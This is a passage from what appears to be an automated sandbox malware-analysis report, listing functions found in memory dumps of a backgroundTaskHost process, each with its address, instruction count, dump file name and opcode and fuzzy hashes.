                  • Instruction Fuzzy Hash: 2B41C726E0E6965BE751B7FCA4B10EE3BB4DF43329B0801B7D28DDB093ED2C24469255
                  Function 00007FFD348EA83E Relevance: .1, Instructions: 135COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dea1a93302cdba0bdf4bb8a1be14c55f54471e867572085176ad6f3b29899657
                  • Instruction ID: c727db9de6132f72963d94e1bf1dbd17d2e9e5ada37b10467499c3a94c4e5a17
                  • Opcode Fuzzy Hash: dea1a93302cdba0bdf4bb8a1be14c55f54471e867572085176ad6f3b29899657
                  • Instruction Fuzzy Hash: 1031F731B5C7068FE31D571864A20B5B3D0EF47710B29117EDA9FC3582DA2D7883A685
                  Function 00007FFD348CFDA5 Relevance: .1, Instructions: 134COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3e808aad2f243d8802b8da6ee93fe9e7a84b72d876ee28fd51b506c41da0612c
                  • Instruction ID: 27d55bf3e0f6a57a4bc119848744c9c9d311139f5e0d8e0f96c7d2657bee3a02
                  • Opcode Fuzzy Hash: 3e808aad2f243d8802b8da6ee93fe9e7a84b72d876ee28fd51b506c41da0612c
                  • Instruction Fuzzy Hash: 8141A721B1C94A8FF7A9E76881A4678B7D2EF95300B1445BBD20EC72DBDD2CEC429741
                  Function 00007FFD348D5F97 Relevance: .1, Instructions: 132COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 365ab34ce74d70843373a4c662338287c355dbfe9430f3464106c41ce07cbcb3
                  • Instruction ID: ed31efd4b7554ccea9aa144f3af2cf38531dde7acee51bb1a23a089e655e79b5
                  • Opcode Fuzzy Hash: 365ab34ce74d70843373a4c662338287c355dbfe9430f3464106c41ce07cbcb3
                  • Instruction Fuzzy Hash: 5831A452B1F84E4FE798FB6844E45B863D1EF5B310B244676C50EE71D6DD2CAC4AA380
                  Function 00007FFD348DD8F0 Relevance: .1, Instructions: 128COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2d343956b7462d9fb058a08f444d2d2bafad59e85dbcbb89e5d2680175d1564d
                  • Instruction ID: d5b3a93528909a6f9c24d6ffa9c2bd2a901ef9b5327dc572a419f5d0f5d0979e
                  • Opcode Fuzzy Hash: 2d343956b7462d9fb058a08f444d2d2bafad59e85dbcbb89e5d2680175d1564d
                  • Instruction Fuzzy Hash: 63412620A1E46A8FEB65D71884B06B877E1FF97304F1482B9C14EC718ACD3D79859B41
                  Function 00007FFD348E1407 Relevance: .1, Instructions: 127COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 96acbb39f5f2a707d91952637d1d3ae59d0384de85a1476c108e41de18a83df0
                  • Instruction ID: 512f04a235bfd5da48fe0166407dbe2409fe7ea8793739be3ee5bf00dc988152
                  • Opcode Fuzzy Hash: 96acbb39f5f2a707d91952637d1d3ae59d0384de85a1476c108e41de18a83df0
                  • Instruction Fuzzy Hash: CE41913270C9088FDF8CEF18C4A5AA5B7E1FB69314B08016AE50ED3292CE25F845CB81
                  Function 00007FFD348DEBC7 Relevance: .1, Instructions: 127COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ac0af64337c03174212ecf22f232c593579c26907374d368755fcceada29814f
                  • Instruction ID: 3e33618795426c01e073ad0de105172eed59e0a96870f4069e70a65ace400725
                  • Opcode Fuzzy Hash: ac0af64337c03174212ecf22f232c593579c26907374d368755fcceada29814f
                  • Instruction Fuzzy Hash: 3D416F3160D9088FDF98EF18C4A5DB473E1FF6A321B14466AD04ED3292CE25F849CB81
                  Function 00007FFD348DFB69 Relevance: .1, Instructions: 125COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a11ac61d6358797e805cf0507c4759a99f1141482307a822fb017e7e2abfb321
                  • Instruction ID: 9f38d203cb8c10597f2448926aae85ae268379b5ea01e93458fcb5fdd1e17fc3
                  • Opcode Fuzzy Hash: a11ac61d6358797e805cf0507c4759a99f1141482307a822fb017e7e2abfb321
                  • Instruction Fuzzy Hash: F131A221A0F1978BF72D676458B15B93A84EF43320F28067AEF4EC60C2DD1D7855B252
                  Function 00007FFD348C2B0D Relevance: .1, Instructions: 124COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 317d2cabac8b98c8451e6f87c73e9e1f2edff0c9d549c2e7997928bee0c06331
                  • Instruction ID: 923c30dfb2c814e448191ce8efd529d86979048d3bed5bf8cac2e2707d876193
                  • Opcode Fuzzy Hash: 317d2cabac8b98c8451e6f87c73e9e1f2edff0c9d549c2e7997928bee0c06331
                  • Instruction Fuzzy Hash: 7D412E30E1461D9FDB54EFA8D8A96EEB7B1FF59300F14057AE009E7292DE786841CB90
                  Function 00007FFD348DEC71 Relevance: .1, Instructions: 120COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0c22aa86e8c7fb1ca5f0cb37c0c765a6ca1085f632826e58cc39168762587ffc
                  • Instruction ID: 4e1a07268b3f71d7b6e8ca74f791bd4f5ed310f14739f3c118ad8b9a92e5da76
                  • Opcode Fuzzy Hash: 0c22aa86e8c7fb1ca5f0cb37c0c765a6ca1085f632826e58cc39168762587ffc
                  • Instruction Fuzzy Hash: 21319E3160C9448FDB98EF18C4A5EB473E1FF6A31171846AED44AD7292CE35F849CB81
                  Function 00007FFD348E14B1 Relevance: .1, Instructions: 120COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e39aa88ae621cf24a445c99422cf221dff2604ed479f077c5f0cb11a4f49b2a6
                  • Instruction ID: a02fcb31713d7b23f84edf27b73f9d5f55754b016879b9aa8e9a67a5d19bb7cc
                  • Opcode Fuzzy Hash: e39aa88ae621cf24a445c99422cf221dff2604ed479f077c5f0cb11a4f49b2a6
                  • Instruction Fuzzy Hash: 1531703160C9498FDB5DEF2CC4A5EA4B7E1FF69314B0801AEE45AD7292CE25F845CB81
                  Function 00007FFD348E19D7 Relevance: .1, Instructions: 118COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: eb1e80a8afd6929e90e75b70354f17e1d58e508ae48502e8889a2013218a8264
                  • Instruction ID: 87691964b057e40232ebb2890f9151ec0a43320e6f3965bc1364b49db0924707
                  • Opcode Fuzzy Hash: eb1e80a8afd6929e90e75b70354f17e1d58e508ae48502e8889a2013218a8264
                  • Instruction Fuzzy Hash: E231D432B1C91D8FE724EB1898946FA37A0FFAA710F200137E50DD7280DA6C6C85A781
                  Function 00007FFD348D372F Relevance: .1, Instructions: 118COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f202e0afa020b8db509c314f40518fb146d0d343423aedfcde0fc24ccf572289
                  • Instruction ID: 20d59bd2d56e968ba28aec44077a8fe56198bc438c395459ed7a3241cc18aa66
                  • Opcode Fuzzy Hash: f202e0afa020b8db509c314f40518fb146d0d343423aedfcde0fc24ccf572289
                  • Instruction Fuzzy Hash: 32318661A0FBC65FE75743385CB54B47FA4AF47260B0903FBD189CA093DA4D5846D362
                  Function 00007FFD348DEC0B Relevance: .1, Instructions: 115COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: bf07f8e0c59f8ce51ccca3455953c99957c4da4695fcd91bd2dc6e21d53177dd
                  • Instruction ID: 8cdf722a35051219f2033f278a23ac0a909731cc4d74fd40a2315f60857a1473
                  • Opcode Fuzzy Hash: bf07f8e0c59f8ce51ccca3455953c99957c4da4695fcd91bd2dc6e21d53177dd
                  • Instruction Fuzzy Hash: AB318F3160D9488FDF98EF18C4A5EB473E1FF6A31171446AAD04AD7292CE39F849CB81
                  Function 00007FFD348E144B Relevance: .1, Instructions: 115COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a41232f60b12a302dd4937673fa21453cffbaaf417baa9d3ccafba98860e1e41
                  • Instruction ID: bc53def96a2d6b5ea3e36f81726de08c3aee7d8a142660e60ed6c2a611800b8a
                  • Opcode Fuzzy Hash: a41232f60b12a302dd4937673fa21453cffbaaf417baa9d3ccafba98860e1e41
                  • Instruction Fuzzy Hash: 5831613160C9498FDB5CEF18C0A5EA5B7E1FB69314B04016AE44AD7292CE29F845DB81
                  Function 00007FFD348D9160 Relevance: .1, Instructions: 114COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 32f032cdca49a07275e5f072248b08df644f02d24857c44591ca3ce6faccd5ef
                  • Instruction ID: 4ffaf10553c7358bdda9fbfdcd1e2d1a64cce8ad634d8539c48213387941d44b
                  • Opcode Fuzzy Hash: 32f032cdca49a07275e5f072248b08df644f02d24857c44591ca3ce6faccd5ef
                  • Instruction Fuzzy Hash: 2931D322A0E2961FDB12ABBCA8B51E63F709F03318B0D41F7D4D8DB0A3E92C6409C355
                  Function 00007FFD348DC159 Relevance: .1, Instructions: 110COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4c4e43183c355ce354202bee8924cf2a8b538b2a0eb79b7beb2e2c6ff8ca5302
                  • Instruction ID: 85af621bd2adacb9d8b4be3d4ebb4a59802c6ad0a678fada27f37f507871c97f
                  • Opcode Fuzzy Hash: 4c4e43183c355ce354202bee8924cf2a8b538b2a0eb79b7beb2e2c6ff8ca5302
                  • Instruction Fuzzy Hash: F4318F31B1F9AA8FEB649B5895A49BD77E1EF4F310F640276E30EC3191DE2C6801A741
                  Function 00007FFD348C9AD9 Relevance: .1, Instructions: 107COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5b134757edb037dd4d14e1edb4f8d93f350c2b8fb1d9c01c12f23c29a165036a
                  • Instruction ID: a5ba486ec44c7f1dee1075e50c10a420dfb93ebe4cdf37a48e9a381cb8f435f2
                  • Opcode Fuzzy Hash: 5b134757edb037dd4d14e1edb4f8d93f350c2b8fb1d9c01c12f23c29a165036a
                  • Instruction Fuzzy Hash: 2E31FC70A0D5198FDBA5DB58D5A5BF9B3B5FF59300F5010A9E10DE3681CE38AE81DB00
                  Function 00007FFD348C7419 Relevance: .1, Instructions: 107COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c7af479ea0f1a027a3c08d9e4b90987f11c4173ac99c5471f266f98717ca3edc
                  • Instruction ID: 8f1f50370d32b1c43bae0fc6fe0efa5884eda05128017b1ad74c25e981832f8f
                  • Opcode Fuzzy Hash: c7af479ea0f1a027a3c08d9e4b90987f11c4173ac99c5471f266f98717ca3edc
                  • Instruction Fuzzy Hash: 7D419A70A0860A8FEB65DBA4C9A56FDBBE0FF56300F00417BD509D6292DF3CA8449781
                  Function 00007FFD348CCD8B Relevance: .1, Instructions: 106COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 95fd53f357199f54275a3fb480479370cc256f690d9faaa8fb087f97a85e4a98
                  • Instruction ID: ee2045b7277ee16d6c88ff295089895b7db1978df400fe363532d07267006a77
                  • Opcode Fuzzy Hash: 95fd53f357199f54275a3fb480479370cc256f690d9faaa8fb087f97a85e4a98
                  • Instruction Fuzzy Hash: 9D314E71F1891A9FDB54DB18D5E19A8F3A2FF59710B10427AD10ED3682DF28BC12DB80
                  Function 00007FFD348E1219 Relevance: .1, Instructions: 99COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8d6f2fdf01d9b43bac4607c2487e245a978315077180146eec3b079b945b8a7c
                  • Instruction ID: 10f06d56e5cd3d013eccbaa4557925db1689e5d3b7e0ec95f4e5d5a537aa02b9
                  • Opcode Fuzzy Hash: 8d6f2fdf01d9b43bac4607c2487e245a978315077180146eec3b079b945b8a7c
                  • Instruction Fuzzy Hash: FB310D30A1C54ACFEB9CDB54C8A15BEB7E1FF56301F58017AD61ED6192CE3CA980A741
                  Function 00007FFD348C5DA8 Relevance: .1, Instructions: 99COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e0b069e35f981dba3c3b357fd1a52bb440a0632ef4b2a0b4931e469dca7b0a9f
                  • Instruction ID: 2cdc8a38c47812ab6d58b3f88b92ed3b897880efd1b77e2c9ceddc525a1e5580
                  • Opcode Fuzzy Hash: e0b069e35f981dba3c3b357fd1a52bb440a0632ef4b2a0b4931e469dca7b0a9f
                  • Instruction Fuzzy Hash: E631C670A1851E8FDBA4EF28C8997E9B7B4EF59305F4001BA950DE3251DB78A981DF80
                  Function 00007FFD348DC269 Relevance: .1, Instructions: 96COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f1b84e49a4662c20ec3ce2ceed4be88c0936996eae5119ce9a434fc0b0858d1f
                  • Instruction ID: 27ce78ebac4b67ea76052159229d958fdae2887de8bd965d7fa5eebf7e325c30
                  • Opcode Fuzzy Hash: f1b84e49a4662c20ec3ce2ceed4be88c0936996eae5119ce9a434fc0b0858d1f
                  • Instruction Fuzzy Hash: 21210A51B5FACA0FD795DBA848B45B17B94EF53224B0843BBD09DC71D7DE286805C341
                  Function 00007FFD348DE9D5 Relevance: .1, Instructions: 95COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 759eee4c96b71fbd2f159986f1735ab2c7ff0f20b54a77449e6141441400e85b
                  • Instruction ID: fd190fd96f7f2092691bb63cda0dec70a78c1d944f8bef83cc667a75d41ed7de
                  • Opcode Fuzzy Hash: 759eee4c96b71fbd2f159986f1735ab2c7ff0f20b54a77449e6141441400e85b
                  • Instruction Fuzzy Hash: 68313930A0BD4B8FEBA8DB4484E15BD77A1FF67300F5402BAD20ED6581DB3D6980AB41
                  Function 00007FFD348D9178 Relevance: .1, Instructions: 94COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5b3f4bfcdaa097c2ce7ccc43ab269885afcfaa4962f8e0ff59808d15cd237998
                  • Instruction ID: e24c18fdb47100e8112e27603d019066f6f60916c4329ef05dea9bd269d7f14f
                  • Opcode Fuzzy Hash: 5b3f4bfcdaa097c2ce7ccc43ab269885afcfaa4962f8e0ff59808d15cd237998
                  • Instruction Fuzzy Hash: 7C31B121A0E2965FDB53ABBC98B50E63FB09F17318B0941F7C4D8DB0A3E92CA449C755
                  Function 00007FFD348D3490 Relevance: .1, Instructions: 93COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 89d4dfe9244caa4da4c14101a8a68573bc79dbbe829a81546681794927a55353
                  • Instruction ID: 6b912878cef8bead72ba08c5c97f1009cb775777f1c92dd198bc71c1affa9e09
                  • Opcode Fuzzy Hash: 89d4dfe9244caa4da4c14101a8a68573bc79dbbe829a81546681794927a55353
                  • Instruction Fuzzy Hash: CE213022F1E9194BEB99D75CE8A15BC73D2EFDA720B140279E24ED3296DD2C6C125380
                  Function 00007FFD348C3EFA Relevance: .1, Instructions: 91COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 34f35fa68b1f6b4549ebade08a6f11b8fbb361b6d97c6e6f6c8e21b0f52bc909
                  • Instruction ID: 408d73f03c33eb4d790d3a53a71c6aca564d6df08b9e377743de9ca9e87e26ac
                  • Opcode Fuzzy Hash: 34f35fa68b1f6b4549ebade08a6f11b8fbb361b6d97c6e6f6c8e21b0f52bc909
                  • Instruction Fuzzy Hash: 2631F431A1C64A5FE752EBAC98E51E9BBF0FF06310F0848B7D908CB193DA38A9459741
                  Function 00007FFD348CCE5E Relevance: .1, Instructions: 91COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 68052514b5049d9d0c1bf5f2b10cbb1e023a8284bea7c9ca4e1f359992ecd3e3
                  • Instruction ID: 43f6235bd0f2cde8a52d3d6be0410d9fa9a8650b8b85487678fe61a652ff46d0
                  • Opcode Fuzzy Hash: 68052514b5049d9d0c1bf5f2b10cbb1e023a8284bea7c9ca4e1f359992ecd3e3
                  • Instruction Fuzzy Hash: 5421D062F1DA498FE754A7A899B22F8F7E0EF5B710F08017BE14EC7682D91C6C069251
                  Function 00007FFD348C71B1 Relevance: .1, Instructions: 89COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: dcf033927c3539daad1fdd7ef350f4157854102bcc8f0b93e513a561ed3d0f3d
                  • Instruction ID: b100f025c253b04ad3256eca34e9891b8d0897fbbec471c852b04cdae5fcdfed
                  • Opcode Fuzzy Hash: dcf033927c3539daad1fdd7ef350f4157854102bcc8f0b93e513a561ed3d0f3d
                  • Instruction Fuzzy Hash: 8D219170A0850F8FEBA4EF6484A52BEB7A0FF16300F00457BE81DC6192CF39A8409740
                  Function 00007FFD348CD2BD Relevance: .1, Instructions: 89COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 31040cfc75c3257732fec52c12ccb6518582b2dcbdef28a17208475de4289e51
                  • Instruction ID: c5c1094f25e288c9ac26af833f9d3a69d5ced2eacefeaabfda852811e288cb1f
                  • Opcode Fuzzy Hash: 31040cfc75c3257732fec52c12ccb6518582b2dcbdef28a17208475de4289e51
                  • Instruction Fuzzy Hash: 0121E752A1EAC65FE755A76848B55A1BBE0EF57218B0841FBD08DC7093DD1CBC05C391
                  Function 00007FFD348D3201 Relevance: .1, Instructions: 88COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 61b27cf0a6eab379afca7a9cef7bfa2f8e94be588a69d63f408663cc5866ccca
                  • Instruction ID: 4a7e433f74e07cb0a8e501b0b5676d85d26c5e3d0b8a905382b2e8a2f242017b
                  • Opcode Fuzzy Hash: 61b27cf0a6eab379afca7a9cef7bfa2f8e94be588a69d63f408663cc5866ccca
                  • Instruction Fuzzy Hash: 97312A30E1A90D8FDB98EF58C8A4AAC77F1FF5A301F4041B9D10EE7291DE78A8409B10
                  Function 00007FFD348E1A30 Relevance: .1, Instructions: 88COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c9e6e41ad889afebbfc647f1170039c236043050d033ec53a6d1a5ce198294d4
                  • Instruction ID: 741e6fef3d079c21127096508bc09c4a8dc26c312bf91ed570286213b2af848e
                  • Opcode Fuzzy Hash: c9e6e41ad889afebbfc647f1170039c236043050d033ec53a6d1a5ce198294d4
                  • Instruction Fuzzy Hash: 43310C32E1850ECFEBA8DB54A4A55BD77A1FF45300F50007AD60ED6280EB3C7D60AB41
                  Function 00007FFD348D98AD Relevance: .1, Instructions: 87COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7d6d8e9340f1fd86b4da76b2226d85d36da9993657e4de40132880c125e86197
                  • Instruction ID: 3e23b4f61f8f7d60e5135906af3e43e90cc0dabebbc7ca09e31afcda3bf94e87
                  • Opcode Fuzzy Hash: 7d6d8e9340f1fd86b4da76b2226d85d36da9993657e4de40132880c125e86197
                  • Instruction Fuzzy Hash: F5319A34A0A21A8FEB55DB64C8A46FD77B1FF16300F004279C50AE7295DF3CA546DB81
                  Function 00007FFD348C72F5 Relevance: .1, Instructions: 87COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
